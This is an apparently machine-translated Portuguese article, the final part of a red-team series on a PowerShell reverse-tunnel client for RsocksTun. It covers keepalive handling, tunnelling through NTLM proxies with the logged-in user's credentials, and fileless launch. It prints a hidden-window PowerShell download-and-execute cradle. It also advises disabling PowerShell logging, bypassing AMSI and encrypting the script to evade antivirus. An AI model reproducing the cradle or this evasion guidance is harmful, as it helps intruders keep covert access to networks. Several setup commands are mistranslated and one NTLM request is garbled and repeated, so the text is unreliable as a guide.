A história da pesquisa e desenvolvimento em 3 partes. A parte 3 é prática.
Existem muitas faias - ainda mais benefícios
Artigos anteriores do ciclo podem ser encontrados
aqui e
aqui =)
Verificação de batalha
Vamos agora testar a operação do nosso script na prática. Para fazer isso, tente lançar o túnel reverso da máquina virtual (Windows 7 .net 4.7) para o VPS do Linux no Digital Ocean e, usando-o, voltaremos ao Win7. Nesse caso, simulamos uma situação em que o Windows 7 é a máquina do Cliente, o Linux VPS é o nosso servidor.
No VPS (no nosso caso, Ubuntu 18.04), instalamos e configuramos a parte do servidor do RsocksTun:
- definir o golang: apt install golang
- pegue as fontes do rsockstun do gita:
git clone github.com/mis-team/rsockstun.git / opt / rstun - instalar dependências:
acesse github.com/hashicorp/yamux
acesse github.com/armon/go-socks5
acesse github.com/ThomsonReutersEikon/go-ntlm/ntlm - compile de acordo com o manual: cd / opt / rstun; vai construir
- gere certificado SSL:
openssl req -novo -x509 -keyout server.key -out server.crt -days 365 -nodes - começamos a parte do servidor:

- Iniciamos nosso script no cliente, indicando para ele o servidor para conectar, a porta e a senha:

- use a porta elevada do servidor Socks5 para ir para mail.ru

Como você pode ver nas capturas de tela, nosso script funciona. Ficamos contentes, erguemos mentalmente um monumento para nós mesmos e decidimos que tudo estava perfeito. Mas ...
Tratamento de erros
Mas nem tudo é tão bom quanto gostaríamos ...
Durante a operação do script, um momento desagradável foi descoberto: se o script funciona através de uma conexão não muito rápida com o servidor, o erro mostrado na figura abaixo pode ocorrer ao transferir grandes dados

Depois de estudar esse erro, vemos que, quando recebemos uma mensagem de keepalive (enquanto os dados ainda estão sendo transmitidos para o servidor), tentamos escrever simultaneamente uma resposta para keepalive no soquete, o que causa um erro.
Para corrigir a situação, precisamos esperar até que a transferência de dados seja concluída e enviar uma resposta para o keepalive. Mas aqui pode surgir outro problema: se uma mensagem keepalive chegar no momento entre o envio de um cabeçalho de 12 bytes e o envio de dados, destruiremos a estrutura do pacote ymx. Portanto, uma solução mais correta seria transferir toda a funcionalidade para enviar dados dentro do yamuxScript, que processa eventos para enviar sequencialmente e não haverá tais situações.
Ao mesmo tempo, para instruir o yamuxScript a enviar respostas de manutenção de atividade, podemos usar nosso ArrayList StopFlag [0] compartilhado - o índice zero não é usado, porque a numeração dos fluxos do yamux começa com 1. Nesse índice, transmitiremos no yamuxScript o valor de ping recebido na mensagem keepalive. Por padrão, o valor será -1, o que significa que nenhuma transmissão é necessária. O YamuxScript verificará esse valor e, se for 0 (o primeiro ping do keepalive = 0) ou mais, envie o valor passado para a resposta do keepalive:
if ($StopFlag[0] -ge 0){ #got yamux keepalive. we have to reply $outbuf = [byte[]](0x00,0x02,0x00,0x02,0x00,0x00,0x00,0x00) + [bitconverter]::getbytes([int32]$StopFlag[0])[3..0] $state.tcpstream.Write($outbuf,0,12) $state.tcpstream.flush() $StopFlag[0] = -1 }
Também devemos excluir o envio no thread principal do programa de uma resposta ao sinalizador YMX SYN.
Para fazer isso, também devemos transferir essa funcionalidade dentro do yamuxScript, mas como o servidor yamux não exige o envio de uma resposta ao YMX SYN e começa a enviar dados imediatamente, simplesmente desativamos o envio deste pacote e é isso:
#$outbuf = [byte[]](0x00,0x01,0x00,0x02,$ymxstream[3],$ymxstream[2],$ymxstream[1],$ymxstream[0],0x00,0x00,0x00,0x00) #$tcpstream.Write($outbuf,0,12)
Depois disso, a transferência de grandes quantidades de dados funciona bem.
Suporte de proxy
Agora vamos pensar em como podemos fazer com que nosso cliente trabalhe através de um servidor proxy.
Vamos começar com o básico. Em teoria, o proxy http (ou seja, os proxies http funcionam na maioria das redes corporativas) foi projetado para funcionar com o protocolo HTTP e parece que o http não tem o mesmo cheiro que o nosso. Mas na natureza, além do http, também há https e seu navegador pode se conectar perfeitamente a sites https por meio de http normal - certo?
A razão para isso é o modo de operação especial do servidor proxy - modo CONNECT. Portanto, se o navegador quiser se conectar ao servidor do gmail via https por meio de um servidor proxy, ele enviará uma solicitação CONNECT ao servidor proxy, que indica o host e a porta de destino.
CONNECT gmail.com:443 HTTP/1.1 Host: gmail.com:443 Proxy-Connection: Keep-Alive
Após uma conexão bem-sucedida ao servidor do gmail, o proxy retorna uma resposta 200 OK.
HTTP/1.1 200 OK
Depois disso, todos os dados do navegador são transmitidos diretamente para o servidor e vice-versa. Em termos simples, um proxy conecta diretamente dois soquetes de rede entre si - um soquete de navegador e um soquete de servidor do Gmail. Depois disso, o navegador começa a estabelecer uma conexão SSL com o servidor do Gmail e trabalha diretamente com ele.
Transferindo o exposto para o cliente, primeiro precisamos estabelecer uma conexão com o servidor proxy, enviar um pacote http indicando o método CONNECT e o endereço do servidor yamux, aguardar uma resposta com o código 200 e prosseguir para estabelecer uma conexão SSL.
Em princípio, não há nada particularmente complicado. É assim que o mecanismo de conexão através do servidor proxy é implementado no cliente golang rsockstun.
As principais dificuldades começam quando o servidor proxy requer autorização ntlm ou kerberos ao se conectar a si mesmo.
Nesse caso, o servidor proxy retorna o código 407 e o cabeçalho http ntlm como uma sequência base64
HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: NTLM TlRMTVNTUAACAAAAAAAAADgAAABVgphianXk2614u2AAAAAAAAAAAKIAogA4AAAABQEoCgAAAA8CAA4AUgBFAFUAVABFAFIAUwABABwAVQBLAEIAUAAtAEMAQgBUAFIATQBGAEUAMAA2AAQAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQAAwA0AHUAawBiAHAALQBjAGIAdAByAG0AZgBlADAANgAuAFIAZQB1AHQAZQByAHMALgBuAGUAdAAFABYAUgBlAHUAdABlAHIAcwAuAG4AZQB0AAAAAAA= Date: Tue, 28 May 2019 14:06:15 GMT Content-Length: 0
Para obter uma autorização bem-sucedida, precisamos decodificar essa linha e remover parâmetros dela (como ntlm-challenge, nome de domínio). Em seguida, usando esses dados, assim como o nome de usuário e seu hash ntlm, devemos gerar uma resposta ntlm, codificá-los de volta para base64 e enviá-los de volta ao servidor proxy.
CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive
+ UpsHCJmpIGttOj1VN + 5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA == CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive
Mas isso não é tão ruim. O fato é que, quando executamos o script, não sabemos o nome do usuário atual nem o hash da senha ntlm. Portanto, para autorização no servidor proxy, precisamos descobrir o nome de usuário / senha de outro lugar.
Teoricamente, podemos implementar essa funcionalidade em um script (começando com a configuração manual dos parâmetros de autenticação, como feito no cliente GoLang, e terminando com o uso de um despejo de memória do processo LSASS, como feito em mimikatz), mas nosso script crescerá para tamanho e complexidade incríveis, especialmente que esses tópicos estão além do escopo deste artigo.
Pensamos e decidimos que iríamos para o outro lado ...
Em vez de autorizar manualmente, usaremos a funcionalidade interna para trabalhar com um servidor proxy da classe HTTPWebRequest. Mas nesse caso, teremos que alterar o código do nosso servidor RsocksTun - afinal, quando recebe uma solicitação do cliente, espera apenas uma string com uma senha e recebe uma solicitação HTTP completa. Em princípio, modificar o lado do servidor do rsoskstun não é tão difícil. É necessário apenas decidir em qual parte da solicitação http transmitiremos a senha (por exemplo, será o cabeçalho http XAuth) e implementar a funcionalidade de processar a solicitação http, verificar nosso cabeçalho com uma senha e enviar uma resposta http de retorno (200 OK). Adicionamos essa funcionalidade a uma ramificação separada do projeto RSocksTun.
Após modificar a parte Golang do RSocksTun (servidor e cliente), começaremos a adicionar a funcionalidade de trabalhar com um servidor proxy ao nosso script. O código mais simples da classe HttpWebRequest para conectar-se a um servidor da web por meio de um proxy é semelhante a este:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $request = [System.Net.HttpWebRequest]::Create("https://gmail.com:443") $request.Method = "GET" $request.Headers.Add("Xauth","password") $proxy = new-object system.net.webproxy('http://127.0.0.1:8080'); $proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials $request.Proxy = $proxy try {$serverResponse = $request.GetResponse()} catch {write-host "Can not connect"; exit}
Nesse caso, criamos uma instância da classe HttpWebRequest, configuramos as propriedades Proxy e credenciais e adicionamos o cabeçalho http XAuth personalizado. Assim, nossa solicitação aos servidores do Google passará pelo servidor proxy 127.0.0.1:8080. Se o proxy solicitar autorização, o próprio Windows "coletará" os créditos do usuário atual e inserirá os cabeçalhos http correspondentes.
Em vez de especificar um servidor proxy manualmente, podemos usar as configurações do sistema do servidor proxy:
$proxy = [System.Net.WebRequest]::GetSystemWebProxy()
Portanto, depois que nos conectamos por meio de um servidor proxy ao servidor rsockstun e recebemos uma resposta HTTP com o código 200, precisamos fazer um pequeno truque, a saber, da classe HTTPWebRequest, obter um objeto de fluxo para leitura / gravação como $ tcpConnection.getStream () Fazemos isso através do mecanismo de inspeção de reflexão .Net (para aqueles que desejam entender esse mecanismo com mais detalhes, compartilhe o
link ). Isso nos permite acessar os métodos e propriedades das classes subjacentes:
#--------------------------------------------------------------------------------- # Reflection inspection to retrieve and reuse the underlying networkStream instance $responseStream = $serverResponse.GetResponseStream() $BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance" $rsType = $responseStream.GetType() $connectionProperty = $rsType.GetProperty("Connection", $BindingFlags) $connection = $connectionProperty.GetValue($responseStream, $null) $connectionType = $connection.GetType() $networkStreamProperty = $connectionType.GetProperty("NetworkStream", $BindingFlags) $tcpStream = $networkStreamProperty.GetValue($connection, $null)
Assim, obtivemos o mesmo fluxo de soquete, que é conectado pelo servidor proxy ao servidor yamux e com o qual podemos executar operações de leitura / gravação.
Outro ponto que precisamos considerar é o mecanismo para monitorar o estado da conexão. Como trabalhamos com o servidor proxy e a classe HTTPWebRequest, não temos a propriedade $ tcpConnection.Connected e precisamos monitorar o status da conexão de alguma forma. Podemos fazer isso através de um sinalizador $ conectado separado, ele é definido como $ true após receber o código 200 do servidor proxy e é redefinido para $ false quando ocorre uma exceção durante a leitura do socket-stream:
try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {$connected=$false; break;} if ($num -eq 0 ) {$connected=$false; break;}
Caso contrário, nosso código permanecerá inalterado.
Lançamento em linha
Como regra, todas as pessoas sãs executam scripts semelhantes a partir dos arquivos PS1, mas às vezes (e quase sempre) no processo de pentest / redtime, é necessário executar módulos a partir da linha de comando sem gravar nada no disco, para não deixar vestígios . Além disso, o powershell permite fazer isso através da linha de comando:
powershell.exe –c <powershell code> powershell.exe –e <base64 powershell code>
No entanto, não se deve realmente relaxar em relação ao sigilo de iniciar e executar comandos. Como, em primeiro lugar, todo o código do powershell é registrado usando ferramentas padrão do Windows nos logs de eventos correspondentes (Windows PowerShell e Microsoft-Windows-PowerShell / Operacional) e, em segundo lugar, todo o código executado no powershell passa pelo mecanismo AMSI ( Interface de verificação anti-malware). Outra coisa é que esses dois mecanismos são perfeitamente caros com ações simples. Desativar revistas e ignorar a AMSI é um tópico separado para discussão e escreveremos sobre isso em artigos futuros ou em nosso canal. Mas agora um pouco sobre outra coisa.
O fato é que nosso script cresceu para tamanhos bastante impressionantes e é claro que ele não cabe em nenhuma linha de comando (o limite de cmd no Windows é de 8191 caracteres). Portanto, precisamos criar uma maneira de executar nosso script sem gravá-lo no disco. E aqui os métodos padrão usados pelo malware nos ajudam há quase 15 anos. Em suma, a regra é simples - baixe e execute. O principal é não confundir =)
O comando de download e inicialização é semelhante a este:
powershell.exe –w hidden -c "IEX ((new-object net.webclient).downloadstring('http://url.com/script.ps1'))"
Você pode encontrar ainda mais opções de inicialização embutida no
git do
HarmJ0y 'I:
Obviamente, antes de fazer o download, você precisa desativar os logs e ignorar ou desativar o AMSI. O script em si deve ser criptografado antes do download, porque durante o processo de download, ele será verificado por seu antivírus (ou não = =)) e, antes de iniciar, será descriptografado de acordo. Como fazer isso - você, o leitor já deve inventar você mesmo. Isso está além do escopo deste tópico. Mas conhecemos um especialista legal nesse assunto - o todo-poderoso Google. Existem muitos exemplos de criptografia e descriptografia na rede, além de exemplos de desvio do AMSI.
Conclusão para todas as partes
No processo, apresentamos ao leitor a tecnologia dos “túneis reversos” e seu uso para pentests, mostramos vários exemplos desses túneis e falamos sobre os prós e os contras de seu uso.
Também conseguimos criar um cliente powershell para o servidor RsocksTun com a capacidade:
- Conexões SSL
- autorização no servidor;
- trabalhe com o yamux-server com suporte para pings keepalive;
- modo de operação multithread;
- suporte ao trabalho através de um servidor proxy com autorização.
Você pode encontrar todo o código rsockstun (golang e powershell) no ramo correspondente
em nosso github. A ramificação principal foi projetada para funcionar sem um servidor proxy, e a ramificação via_proxy foi projetada para funcionar através de proxies e HTTP.
Teremos o maior prazer em ouvir seus comentários e sugestões sobre como melhorar o código e a aplicabilidade do desenvolvimento na prática.
Isso completa o ciclo de nossos artigos de tunelamento reverso. Realmente esperamos que você esteja interessado em ler-nos e que as informações sejam úteis.